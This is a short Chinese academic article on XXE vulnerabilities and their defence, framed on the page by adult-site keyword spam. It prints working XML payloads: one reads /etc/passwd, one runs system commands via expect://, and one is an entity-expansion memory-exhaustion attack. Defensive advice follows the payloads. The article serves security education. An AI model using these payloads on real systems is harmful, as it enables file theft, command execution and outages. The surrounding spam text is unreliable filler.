999精品在线视频,手机成人午夜在线视频,久久不卡国产精品无码,中日无码在线观看,成人av手机在线观看,日韩精品亚洲一区中文字幕,亚洲av无码人妻,四虎国产在线观看 ?

XXE漏洞及其防御策略研究

2018-05-14 02:18:35應宗浩金海
科技風 2018年19期

應宗浩 金海

摘要:XXE漏洞是近年來產生的影響比較大的漏洞之一,能夠任意讀取文件,遠程執行命令,造成拒絕服務攻擊等。該文通過xxe漏洞背景介紹,給出相應的攻擊手段,并提出防御策略,以期能夠引起人們對xxe漏洞的重視,并加強相關方面的安全開發工作。

關鍵詞:XXE;漏洞;攻擊手段;防御策略

XML是用于標記電子文件使其具有結構性的標記語言,允許用戶對自己的標記語言進行定義。Web端,移動端,云端等客戶端技術使用XML向業務應用程序發送消息。為了使應用程序使用自定義的XML消息,應用程序必須去解析XML文檔并檢查格式是否正確。

較早的或配置錯誤的XML處理器無法準確評估XML文件中的外部實體引用。攻擊者可以利用外部實體發動攻擊。此種攻擊行為稱之為XXE(XML Enternal Entity Injection),即XML外部實體注入攻擊。

1 XML基礎

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

以下是一個典型xml文檔

<?xml version="1.0"?> <!—xml聲明—>

<!DOCTYPE note [<!—DTD文檔類型定義,定義此文檔是 note 類型的文檔>

<!ELEMENT note (head,body)><!定義note元素有四個元素>

<!ELEMENT head (#PCDATA)><!定義head元素為”#PCDATA”類型>

<!ELEMENT body (#PCDATA)><!定義body元素為”#PCDATA”類型>]>

Reminder<!—文檔元素>

You are a good man<!—文檔元素>

DTD(文檔類型定義)的作用是定義 XML 文檔的合法構建模塊。DTD 可以在 XML 文檔內聲明,也可以外部引用。XXE漏洞關注的是外部實體引用,外部實體引用的代碼如下:

<!ENTITY 實體名稱 SYSTEM "URI">

2 xxe典型攻擊手段

2.1 任意讀取文件

<!DOCTYPE foo [<!ENTITY mytest SYSTEMfile:///etc/passwd>]>

&mytest;

代碼可以讀取/etc/passwd,file部分可以替換任意文件路徑,使得攻擊者能夠任意讀取文件。

2.2 執行系統命令

<!DOCTYPEmytest [<!ELEMENT name ANY >

<!ENTITY mytest SYSTEM "expect://id" >]>

&mytest;

該代碼能夠在服務器上執行“id”命令,”id”命令可以替換為其他系統命令,通過執行系統命令.

2.3 拒絕服務攻擊

<!DOCTYPE data [

<!ENTITY a0 "dos" >

<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">

<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">

<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">

<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">

]>

&a4;

該代碼通過創建一項遞歸的 XML 定義,構造惡意的XML實體文件耗盡可用內存,造成拒絕服務攻擊。

3 XXE防御策略

大部分XML解析器無法正確解析xxe攻擊中的實體。因此可以配置XML處理器去使用本地靜態的DTD,不允許XML中含有自聲明的DTD。可以使用開發語言提供的禁用外部實體的方法,從而避免基于XXE漏洞的攻擊。

另外,升級libxml版本至2.9.0,libxml 2.9.0 以后默認不解析外部實體,也可以通過升級libxml版本進行xxe防御。

參考文獻:

[1]開放式Web應用程序安全項目.OWASP Top 10 2017[EB/OL]. http://www.owasp.org.cn/owaspproject/OWASPTop102017v1.3.pdf,20171201.

[2]Mark4z5. 未知攻焉知防——XXE漏洞攻防[EB/OL]. https://security.tencent.com/index.php/blog/msg/69,20140923.

[3]丁躍潮,張濤.XML實用教程[M].北京:北京大學出版社,2006.

[4]ChristopherSpth,ChristianMainka,VladislavMladenov.DTD/XXEcheatsheat.webinsecurity.blogspot.de/2016/03/xxecheatsheet.html.20160303.

作者簡介:應宗浩(1997),男,浙江溫州人,本科在讀,研究方向:信息安全,物聯網安全。

主站蜘蛛池模板: 国产不卡国语在线| 久草性视频| 91区国产福利在线观看午夜| 欧美午夜网站| 婷婷综合缴情亚洲五月伊| 日本少妇又色又爽又高潮| 玖玖精品视频在线观看| 黄片一区二区三区| 亚洲国产综合精品中文第一 | 欧美亚洲日韩中文| 精品无码国产自产野外拍在线| 五月六月伊人狠狠丁香网| 欧美一区二区三区不卡免费| 好吊妞欧美视频免费| 欧美福利在线| 五月婷婷伊人网| 无遮挡国产高潮视频免费观看| 成年人午夜免费视频| 免费又爽又刺激高潮网址| 91口爆吞精国产对白第三集 | 国产91视频观看| 午夜精品久久久久久久99热下载 | 伊人国产无码高清视频| 国产成年女人特黄特色毛片免| 啊嗯不日本网站| 国产成人91精品| 嫩草在线视频| 国产欧美日韩精品第二区| 亚洲第一黄片大全| 国产乱子伦手机在线| 91色国产在线| 99久久精彩视频| 第一区免费在线观看| 99久久精品国产综合婷婷| 全色黄大色大片免费久久老太| 成人午夜免费观看| 国产精品林美惠子在线观看| 尤物在线观看乱码| 国产在线八区| 免费看一级毛片波多结衣| 在线欧美日韩| 99er精品视频| 久久网欧美| 香蕉色综合| 91最新精品视频发布页| 1024你懂的国产精品| 亚洲精品另类| 久久久久国产精品熟女影院| 国产情侣一区| 91精品综合| 97国产在线视频| 国产无码网站在线观看| 欧美丝袜高跟鞋一区二区| 激情乱人伦| 尤物精品视频一区二区三区| 丝袜高跟美脚国产1区| 国产精欧美一区二区三区| 国产三区二区| 国产欧美日韩免费| 国产成人精品男人的天堂| 小蝌蚪亚洲精品国产| 国产高清在线观看91精品| 亚洲精品国产日韩无码AV永久免费网| 国产精品丝袜在线| 国产在线一区视频| 亚洲精品中文字幕无乱码| 亚洲综合天堂网| 99久久精品国产精品亚洲| 精品天海翼一区二区| 日韩AV无码免费一二三区| 91欧美在线| 亚洲AV电影不卡在线观看| 中文字幕人妻av一区二区| 国产精品成人啪精品视频| 中文字幕精品一区二区三区视频| 国产拍在线| 欧美一级在线| 国产麻豆另类AV| 久久这里只有精品2| 日韩黄色大片免费看| 熟妇丰满人妻av无码区| 国产精品区网红主播在线观看|